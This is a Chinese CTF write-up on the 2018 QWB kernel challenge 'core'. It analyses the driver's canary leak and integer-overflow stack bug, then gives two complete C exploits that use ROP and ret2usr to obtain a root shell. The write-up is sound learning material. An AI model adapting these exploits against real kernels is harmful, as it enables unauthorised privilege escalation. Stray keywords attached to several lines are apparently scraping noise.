本文記錄我學習kernel pwn的過程,着重分析kernel pwn中棧相關的漏洞利用linux
這裏以強網杯2018的一道題目爲例展開分析c++
與用戶態的pwn題給一個二進制文件進行漏洞分析並攻擊遠程服務器不一樣,內核態的pwn題是給選手一個虛擬的文件系統,主要是分析驅動文件中存在的漏洞,最終目的是將用戶提權值root權限,因此內核態的exp也是用c語言編寫。shell
題目文件bash
start.sh 開啓環境的腳本服務器
vmlinux 未經壓縮的內核函數
bzImage 壓縮過的內核學習
core.cpio 壓縮後的文件映像ui
解包:scala
mkdir core mv core.cpio ./core/core.cpio.gz cd core gunzip core.cpio.gz cpio -idmv < core.cpio
打包:3d
./gen_cpio.sh core.cpio mv core.cpio ../core.cpio
建立一個虛擬文件
__int64 init_module() { core_proc = proc_create("core", 438LL, 0LL, &core_fops);// create vitrul file core printk(&unk_2DE); return 0LL; }
signed __int64 __fastcall core_write(__int64 fd, __int64 buf, unsigned __int64 n) { unsigned __int64 v3; // rbx v3 = n; printk(&unk_215); if ( v3 <= 0x800 && !copy_from_user(&name, buf, v3) ) return v3; printk(&unk_230); return 0xFFFFFFF2LL; }
往全局變量name中寫入數據
unsigned __int64 __fastcall core_read(__int64 fd) { __int64 v1; // rbx __int64 *v2; // rdi signed __int64 i; // rcx unsigned __int64 result; // rax __int64 v5; // [rsp+0h] [rbp-50h] unsigned __int64 v6; // [rsp+40h] [rbp-10h] v1 = fd; v6 = __readgsqword(0x28u); printk(&unk_25B); printk(&unk_275); v2 = &v5; for ( i = 16LL; i; --i ) { *v2 = 0; v2 = (v2 + 4); } strcpy(&v5, "Welcome to the QWB CTF challenge.\n"); result = copy_to_user(v1, &v5 + off, 0x40LL); if ( !result ) return __readgsqword(0x28u) ^ v6; __asm { swapgs } return result; }
從&v5(rbp-0x50)+off處讀取0x40字節的數據到 v1(fd) => leak canary
signed __int64 __fastcall core_copy_func(signed __int64 a1) { signed __int64 result; // rax __int64 v2; // [rsp+0h] [rbp-50h] unsigned __int64 v3; // [rsp+40h] [rbp-10h] v3 = __readgsqword(0x28u); printk(&unk_215); if ( a1 > 63 ) { printk(&byte_2A1); result = 0xFFFFFFFFLL; } else { result = 0LL; qmemcpy(&v2, &name, (unsigned __int16)a1); // 存在整數溢出,溢出a1的值便可形成棧溢出 } return result; }
從name複製內存到v2,v2在棧上,配合整數溢出便可進行rop。
__int64 __fastcall core_ioctl(__int64 a1, int a2, __int64 a3) { __int64 v3; // rbx v3 = a3; switch ( a2 ) { case 0x6677889B: core_read(a3); break; case 0x6677889C: printk(&unk_2CD); off = v3; break; case 0x6677889A: printk(&byte_2B3); core_copy_func(v3); break; } return 0LL; }
經過不一樣命令執行core_read set_off core_copy_func
本地qemu掛起,gdb接上端口調試
target remote:1234
獲取core.ko的裝載地址
cat /sys/module/core/sections/.text > /tmp/core.text
驅動加載基地址
add-symbol-file core.ko addr #addr爲core.ko的裝載地址
加載vmlinux的符號表
file ./vmlinux
在未開啓kaslr時,vmlinux的基地址是固定的。本題開了kaslr,因此須要將leak kaslr的偏移
vmlinux base = 0xffffffff81000000 #未開啓kaslr時
將斷點打在core_read+105
.text:00000000000000CC call _copy_to_user
pwndbg> stack 20 00:0000│ rax rsi rsp 0xffffbcb3c00d3e18 ◂— push rdi /* 0x20656d6f636c6557; 'Welcome to the QWB CTF challenge.\n' */ 01:0008│ 0xffffbcb3c00d3e20 ◂— je 0xffffbcb3c00d3e91 /* 0x5120656874206f74; 'to the QWB CTF challenge.\n' */ 02:0010│ 0xffffbcb3c00d3e28 ◂— push rdi /* 0x6320465443204257; 'WB CTF challenge.\n' */ 03:0018│ 0xffffbcb3c00d3e30 ◂— push 0x656c6c61 /* 0x65676e656c6c6168; 'hallenge.\n' */ 04:0020│ 0xffffbcb3c00d3e38 ◂— 0xa2e /* '.\n' */ 05:0028│ 0xffffbcb3c00d3e40 ◂— 0 ... ↓ 08:0040│ 0xffffbcb3c00d3e58 ◂— add dh, al /* 0x402ff60dad7dc600 */ #cancary 09:0048│ 0xffffbcb3c00d3e60 —▸ 0x1125dd0 ◂— 0 0a:0050│ 0xffffbcb3c00d3e68 —▸ 0xffffffffc001319b (core_ioctl+60) ◂— jmp 0xffffffffc00131b5 0b:0058│ 0xffffbcb3c00d3e70 —▸ 0xffffa3174752bc00 ◂— add qword ptr [r8], rax /* 0x81b6f000014b */ 0c:0060│ 0xffffbcb3c00d3e78 —▸ 0xffffffffac3dd6d1 ◂— mov rdi, rbx 0d:0068│ 0xffffbcb3c00d3e80 ◂— wait /* 0x889b */ 0e:0070│ 0xffffbcb3c00d3e88 —▸ 0xffffa31747aea900 ◂— 0 0f:0078│ 0xffffbcb3c00d3e90 —▸ 0xffffffffac38ecfa ◂— cmp eax, 0xfffffdfd 10:0080│ 0xffffbcb3c00d3e98 —▸ 0xffffbcb3c00d3e70 —▸ 0xffffa3174752bc00 ◂— add qword ptr [r8], rax /* 0x81b6f000014b */ 11:0088│ 0xffffbcb3c00d3ea0 ◂— 0 ... ↓ 13:0098│ 0xffffbcb3c00d3eb0 —▸ 0xffffffffad456968 —▸ 0xffffffffad98af50 ◂— push -0x52ba97 /* 0xffffffffad456968 */
經過調試能夠發現,rsp+0x40處儲存了canary的值
經過查看rsi寄存器的值肯定偏移
因此將off設置爲0x40便可leak canary的值
ioctl(fd, INS_SET_OFF, 0x40); // set off to 0x40 char *buf = (char *)malloc(0x40); // buffer of leak data ioctl(fd, INS_READ, buf); // leak canary in kernel-stack canary = *(size_t *)buf;
在kallsyms中存儲了內核函數的地址,能夠讀取去獲取內核態函數的地址,同時計算出kaslr的偏移
void leak_addr_of_kernel(){ char *buf = (char *)malloc(0x50); FILE *kallsyms = fopen("/tmp/kallsyms", "r"); while(fgets(buf, 0x50, kallsyms)){ if(strstr(buf, "prepare_kernel_cred")){ sscanf(buf, "%lx", &prepare_kernel_cred); printf("[*] prepare_kernel_cred : 0x%lx\n", prepare_kernel_cred); } if(strstr(buf, "commit_creds")){ sscanf(buf, "%lx", &commit_creds); printf("[*] commit_creds : 0x%lx\n", commit_creds); offest = commit_creds - 0xffffffff8109c8e0; vmlinux_base = 0xffffffff81000000 + offest; printf("[*] offset : 0x%lx\n", offest); printf("[*] vmlinux base : 0x%lx\n", vmlinux_base); } } }
rop鏈構造 執行commit_creds(prepare_kernel_cred(0)) 而後返回用戶態開一個shell
for(i=0; i<10; i++){ rop[i] = canary; } rop[i++] = 0xffffffff81000b2f + offest; // pop rdi ; ret rop[i++] = 0; rop[i++] = prepare_kernel_cred; // prepare_kernel_cred(0) rop[i++] = 0xffffffff810a0f49 + offest; // pop rdx ; ret rop[i++] = commit_creds; rop[i++] = 0xffffffff8106a6d2 + offest; // mov rdi, rax ; jmp rdx rop[i++] = 0xffffffff81a012da + offest; // swapgs ; popfq ; ret rop[i++] = 0; rop[i++] = 0xffffffff81050ac2 + offest; // iretq; ret; rop[i++] = (size_t)get_shell; // rip rop[i++] = usr_cs; rop[i++] = usr_rflags; rop[i++] = usr_rsp; rop[i++] = usr_ss;
//gcc -static -masm=intel -g -o rop rop.c #include <string.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <sys/stat.h> #include <sys/types.h> #include <sys/ioctl.h> #define SET_OFF 0x6677889C #define READ 0x6677889B #define COPY_FUNC 0x6677889A void leak_addr_of_kernel(); void get_usr_regs(); void get_shell(); size_t canary = 0; // value of canary size_t commit_creds=0, prepare_kernel_cred=0; // kernel function addr size_t offest; // offset of kaslr size_t vmlinux_base; // vmlinux base address size_t rop[100] = {0}; // payload size_t usr_cs, usr_ss, usr_rsp, usr_rflags; // registers of user mode int main(){ get_usr_regs(); leak_addr_of_kernel(); int fd = open("/proc/core", O_RDWR); if(fd < 0){ puts("[!] fail to open file [!]"); exit(0); } ioctl(fd, SET_OFF, 0x40); // set off to 0x40 char *buf = (char *)malloc(0x40); // buffer of leak data ioctl(fd, READ, buf); // leak canary in kernel-stack canary = *(size_t *)buf; printf("[*] canary : 0x%lx\n", canary); int i; for(i=0; i<10; i++){ rop[i] = canary; } rop[i++] = 0xffffffff81000b2f + offest; // pop rdi ; ret rop[i++] = 0; rop[i++] = prepare_kernel_cred; // prepare_kernel_cred(0) rop[i++] = 0xffffffff810a0f49 + offest; // pop rdx ; ret rop[i++] = commit_creds; rop[i++] = 0xffffffff8106a6d2 + offest; // mov rdi, rax ; jmp rdx rop[i++] = 0xffffffff81a012da + offest; // swapgs ; popfq ; ret rop[i++] = 0; rop[i++] = 0xffffffff81050ac2 + offest; // iretq; ret; rop[i++] = (size_t)get_shell; rop[i++] = usr_cs; rop[i++] = usr_rflags; rop[i++] = usr_rsp; rop[i++] = usr_ss; write(fd, rop, 8*25); ioctl(fd, COPY_FUNC, 0xf000000000000000+25*8); } /* read symbols addr in /tmp/kallsyms and calc the vmlinux base */ void leak_addr_of_kernel(){ char *buf = (char *)malloc(0x50); FILE *kallsyms = fopen("/tmp/kallsyms", "r"); while(fgets(buf, 0x50, kallsyms)){ if(strstr(buf, "prepare_kernel_cred")){ sscanf(buf, "%lx", &prepare_kernel_cred); printf("[*] prepare_kernel_cred : 0x%lx\n", prepare_kernel_cred); } if(strstr(buf, "commit_creds")){ sscanf(buf, "%lx", &commit_creds); printf("[*] commit_creds : 0x%lx\n", commit_creds); offest = commit_creds - 0xffffffff8109c8e0; vmlinux_base = 0xffffffff81000000 + offest; printf("[*] offset : 0x%lx\n", offest); printf("[*] vmlinux base : 0x%lx\n", vmlinux_base); } } } void get_usr_regs(){ __asm__( "mov usr_cs, cs;" "mov usr_ss, ss;" "mov usr_rsp, rsp;" "pushfq;" "pop usr_rflags;" ); printf("[*] save regs of user mode, done !!!\n"); } void get_shell(){ if(!getuid()) { system("/bin/sh"); } else { puts("[!] get_shell failed"); } exit(0); }
因爲本題沒有開smep保護,既能夠在內核態執行用戶空間的代碼
能夠把commit_creds(prepare_kernel_cred(0))寫成一個函數直接在rop中執行
void privilege_escalation(){ if(commit_creds && prepare_kernel_cred){ (*((void (*)(char *))commit_creds))( (*((char* (*)(int))prepare_kernel_cred))(0) ); } }
在rop鏈上的構造與rop有所不一樣
for(i=0; i<10; i++){ rop[i] = canary; } rop[i++] = (size_t)privilege_escalation; rop[i++] = 0xffffffff81a012da + offest; // swapgs ; popfq ; ret rop[i++] = 0; rop[i++] = 0xffffffff81050ac2 + offest; // iretq; ret; rop[i++] = (size_t)shell; // rip rop[i++] = usr_cs; // cs rop[i++] = usr_rflags; // rflags rop[i++] = usr_rsp; // rsp rop[i++] = usr_ss; // ss
/* compile gcc -static -masm=intel -g -o exp exp.c */ #include <string.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <sys/stat.h> #include <sys/types.h> #include <sys/ioctl.h> #define SET_OFF 0x6677889C #define READ 0x6677889B #define COPY_FUNC 0x6677889A void leak_addr_of_kernel(); void get_usr_regs(); void privilege_escalation(); void get_shell(); size_t canary = 0; // value of canary size_t commit_creds=0, prepare_kernel_cred=0; // kernel function addr size_t offest; // offset of kaslr size_t vmlinux_base; // vmlinux base address size_t rop[100] = {0}; // payload size_t usr_cs, usr_ss, usr_rsp, usr_rflags; // registers of user mode int main(){ get_usr_regs(); leak_addr_of_kernel(); int fd = open("/proc/core", O_RDWR); if(fd < 0){ puts("[!] fail to open file [!]"); exit(0); } ioctl(fd, SET_OFF, 0x40); // set off to 0x40 char *buf = (char *)malloc(0x40); // buffer of leak data ioctl(fd, READ, buf); // leak canary in kernel-stack canary = *(size_t *)buf; printf("[*] canary : 0x%lx\n", canary); int i; for(i=0; i<10; i++){ rop[i] = canary; } rop[i++] = (size_t)privilege_escalation; rop[i++] = 0xffffffff81a012da + offest; // swapgs ; popfq ; ret rop[i++] = 0; rop[i++] = 0xffffffff81050ac2 + offest; // iretq; ret; rop[i++] = (size_t)get_shell; // rip rop[i++] = usr_cs; // cs rop[i++] = usr_rflags; // rflags rop[i++] = usr_rsp; // rsp rop[i++] = usr_ss; // ss write(fd, rop, 8*25); ioctl(fd, COPY_FUNC, 0xf000000000000000+25*8); } void leak_addr_of_kernel(){ char *buf = (char *)malloc(0x50); FILE *kallsyms = fopen("/tmp/kallsyms", "r"); while(fgets(buf, 0x50, kallsyms)){ if(strstr(buf, "prepare_kernel_cred")){ sscanf(buf, "%lx", &prepare_kernel_cred); printf("[*] prepare_kernel_cred : 0x%lx\n", prepare_kernel_cred); } if(strstr(buf, "commit_creds")){ sscanf(buf, "%lx", &commit_creds); printf("[*] commit_creds : 0x%lx\n", commit_creds); offest = commit_creds - 0xffffffff8109c8e0; vmlinux_base = 0xffffffff81000000 + offest; printf("[*] offset : 0x%lx\n", offest); printf("[*] vmlinux base : 0x%lx\n", vmlinux_base); } } } void get_usr_regs(){ __asm__( "mov usr_cs, cs;" "mov usr_ss, ss;" "mov usr_rsp, rsp;" "pushfq;" "pop usr_rflags;" ); printf("[*] save regs of user mode, done !!!\n"); } void privilege_escalation(){ if(commit_creds && prepare_kernel_cred){ (*((void (*)(char *))commit_creds))( (*((char* (*)(int))prepare_kernel_cred))(0) ); } } void get_shell(){ if(!getuid()) { system("/bin/sh"); } else { puts("[!] get_shell failed"); } exit(0); }